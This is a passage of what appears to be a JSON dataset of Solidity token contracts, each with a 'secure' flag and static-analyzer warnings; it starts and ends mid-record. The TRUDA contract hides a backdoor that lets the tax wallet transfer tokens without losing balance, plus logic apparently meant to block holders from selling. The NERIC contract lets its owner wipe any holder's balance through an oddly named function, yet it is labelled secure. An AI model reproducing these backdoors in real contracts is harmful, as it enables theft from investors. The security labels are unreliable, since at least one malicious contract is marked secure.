"size_bytes": 1016
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TRUDA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0485592): TRUDA._taxWallet should be immutable \n\t// Recommendation for 0485592: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b71914): TRUDA._initialBuyTax should be constant \n\t// Recommendation for 4b71914: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: be41002): TRUDA._initialSellTax should be constant \n\t// Recommendation for be41002: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5076677): TRUDA._reduceBuyTaxAt should be constant \n\t// Recommendation for 5076677: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec8ac6a): TRUDA._reduceSellTaxAt should be constant \n\t// Recommendation for ec8ac6a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 416bcb8): TRUDA._preventSwapBefore should be constant \n\t// Recommendation for 416bcb8: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump Day\";\n\n string private constant _symbol = unicode\"TRUDA\";\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f0b47f4): TRUDA._taxSwapThreshold should be constant \n\t// Recommendation for f0b47f4: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0028518): TRUDA._maxTaxSwap should be constant \n\t// Recommendation for 0028518: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 12000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct UniversalBackup {\n uint256 orderNum;\n uint256 orderCopy;\n uint256 trackNum;\n }\n\n uint256 private orderPendingNum;\n\n\t// WARNING Optimization Issue (constable-states | ID: e768aca): TRUDA.universalOrder should be constant \n\t// Recommendation for e768aca: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 04fda53): TRUDA.universalOrder is never initialized. It is used in TRUDA._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 04fda53: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private universalOrder;\n\n mapping(address => UniversalBackup) private universalBackup;\n\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 63fe259): TRUDA.lastSellBlock should be constant \n\t// Recommendation for 63fe259: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x57649205686Fa37839420086d6C0f86638351eaD);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8fbab83): TRUDA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8fbab83: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5f4f160): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5f4f160: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5205f47): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5205f47: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5f4f160\n\t\t// reentrancy-benign | ID: 5205f47\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5f4f160\n\t\t// reentrancy-benign | ID: 5205f47\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6314957): TRUDA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6314957: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5205f47\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5f4f160\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c9ebc65): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c9ebc65: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5e692e0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5e692e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a8b59fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a8b59fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = tokenAmount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c9ebc65\n\t\t\t\t// reentrancy-benign | ID: 5e692e0\n\t\t\t\t// reentrancy-eth | ID: a8b59fd\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c9ebc65\n\t\t\t\t\t// reentrancy-eth | ID: a8b59fd\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 5e692e0\n orderPendingNum = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapV2Pair) {\n UniversalBackup storage uniBackup = universalBackup[to];\n\n if (from == uniswapV2Pair) {\n if (uniBackup.orderNum == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 5e692e0\n uniBackup.orderNum = _buyCount <= _preventSwapBefore\n ? type(uint256).max\n : block.number;\n }\n } else {\n UniversalBackup storage uniBackupTrack = universalBackup[\n from\n ];\n\n if (\n uniBackup.orderNum == 0 ||\n uniBackupTrack.orderNum < uniBackup.orderNum\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 5e692e0\n uniBackup.orderNum = uniBackupTrack.orderNum;\n }\n }\n } else {\n UniversalBackup storage uniBackupTrack = universalBackup[from];\n\n\t\t\t\t// reentrancy-benign | ID: 5e692e0\n uniBackupTrack.orderCopy = uniBackupTrack.orderNum.sub(\n orderPendingNum\n );\n\n\t\t\t\t// reentrancy-benign | ID: 5e692e0\n uniBackupTrack.trackNum = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: c9ebc65\n\t\t// reentrancy-eth | ID: a8b59fd\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: a8b59fd\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: a8b59fd\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: c9ebc65\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 04fda53): TRUDA.universalOrder is never initialized. It is used in TRUDA._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 04fda53: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : universalOrder.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a8b59fd\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c9ebc65\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5f4f160\n\t\t// reentrancy-events | ID: c9ebc65\n\t\t// reentrancy-benign | ID: 5e692e0\n\t\t// reentrancy-benign | ID: 5205f47\n\t\t// reentrancy-eth | ID: a8b59fd\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5f4f160\n\t\t// reentrancy-events | ID: c9ebc65\n\t\t// reentrancy-eth | ID: a8b59fd\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot_) public onlyOwner {\n for (uint256 i = 0; i < notbot_.length; i++) {\n bots[notbot_[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4006016): TRUDA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4006016: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9be96b5): TRUDA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9be96b5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1a02ca5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1a02ca5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1a02ca5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 4006016\n\t\t// reentrancy-eth | ID: 1a02ca5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 9be96b5\n\t\t// reentrancy-eth | ID: 1a02ca5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: 1a02ca5\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1026.sol",
"secure": 0,
"size_bytes": 21673
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ChillGuy is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Chill Guy\", \"Chill\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1027.sol",
"secure": 1,
"size_bytes": 593
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BYWT {\n address payable public immutable owner;\n\n constructor() {\n owner = payable(msg.sender);\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only the owner can call this function\");\n\n _;\n }\n\n function withdrawEther() external onlyOwner {\n owner.transfer(address(this).balance);\n }\n\n function withdrawToken(address tokenAddress) external onlyOwner {\n IERC20 token = IERC20(tokenAddress);\n\n uint256 balance = token.balanceOf(address(this));\n\n require(token.transfer(owner, balance), \"Token transfer failed\");\n }\n\n receive() external payable {}\n\n function tokenFallback(\n address _from,\n uint256 _value,\n bytes calldata _data\n ) external {}\n}",
"file_name": "solidity_code_1028.sol",
"secure": 1,
"size_bytes": 931
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller must be the owner\");\n\n _;\n }\n\n function transferOwner(address newOwner) public onlyOwner {\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal {\n require(\n newOwner != address(0),\n \"Ownable: new owner shouldn't be zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n\n function ownershipRenounce() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}",
"file_name": "solidity_code_1029.sol",
"secure": 1,
"size_bytes": 1243
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract NERIC is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable cycle;\n\n constructor() {\n _name = \"NERIC\";\n\n _symbol = \"NERIC\";\n\n _decimals = 18;\n\n uint256 initialSupply = 650000000;\n\n cycle = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == cycle, \"Not allowed\");\n\n _;\n }\n\n function progl(address[] memory rawni) public onlyOwner {\n for (uint256 i = 0; i < rawni.length; i++) {\n address account = rawni[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_103.sol",
"secure": 1,
"size_bytes": 4343
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract GameboyToken is Context, IERC20, Ownable {\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isLimitFree;\n\n mapping(address => bool) private _blacklist;\n\n uint8 private constant _decimals = 18;\n\n string public constant website = \"https://gameboy.video/\";\n\n string public constant twitter = \"https://x.com/GameboyRevival/\";\n\n string public constant telegram = \"https://t.me/gameboycommunity\";\n\n string public constant tokenImage =\n \"https://ipfs.io/ipfs/Qmdm5Lg8BdcgHwVax91RBU1bEzunU7fzdLfe85d8Pw9FwX\";\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"GAMEBOY\";\n\n string private constant _symbol = \"GAMEBOY\";\n\n uint256 public buyTax = 0;\n\n uint256 public sellTax = 0;\n\n uint256 public transferTax = 0;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n address public constant taxAddress =\n 0x19D77a491971b82Ae7B8aEf62EF9f30ac8E5c4Bd;\n\n bool private launch = false;\n\n constructor() {\n _balance[msg.sender] = _totalSupply;\n\n _isLimitFree[taxAddress] = true;\n\n _isLimitFree[msg.sender] = true;\n\n _isLimitFree[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0682e07): GameboyToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0682e07: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 74ecbb5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 74ecbb5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3d1cae1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3d1cae1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 336c5db): GameboyToken.startTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 336c5db: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0e39ef1): GameboyToken.startTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0e39ef1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8e34272): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8e34272: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!launch, \"Trading already started\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-events | ID: 74ecbb5\n\t\t// reentrancy-benign | ID: 3d1cae1\n\t\t// reentrancy-eth | ID: 8e34272\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 74ecbb5\n\t\t// reentrancy-benign | ID: 3d1cae1\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// unused-return | ID: 336c5db\n\t\t// reentrancy-eth | ID: 8e34272\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 0e39ef1\n\t\t// reentrancy-eth | ID: 8e34272\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: 8e34272\n launch = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4584163): GameboyToken.setTaxes(uint256,uint256,uint256) should emit an event for buyTax = 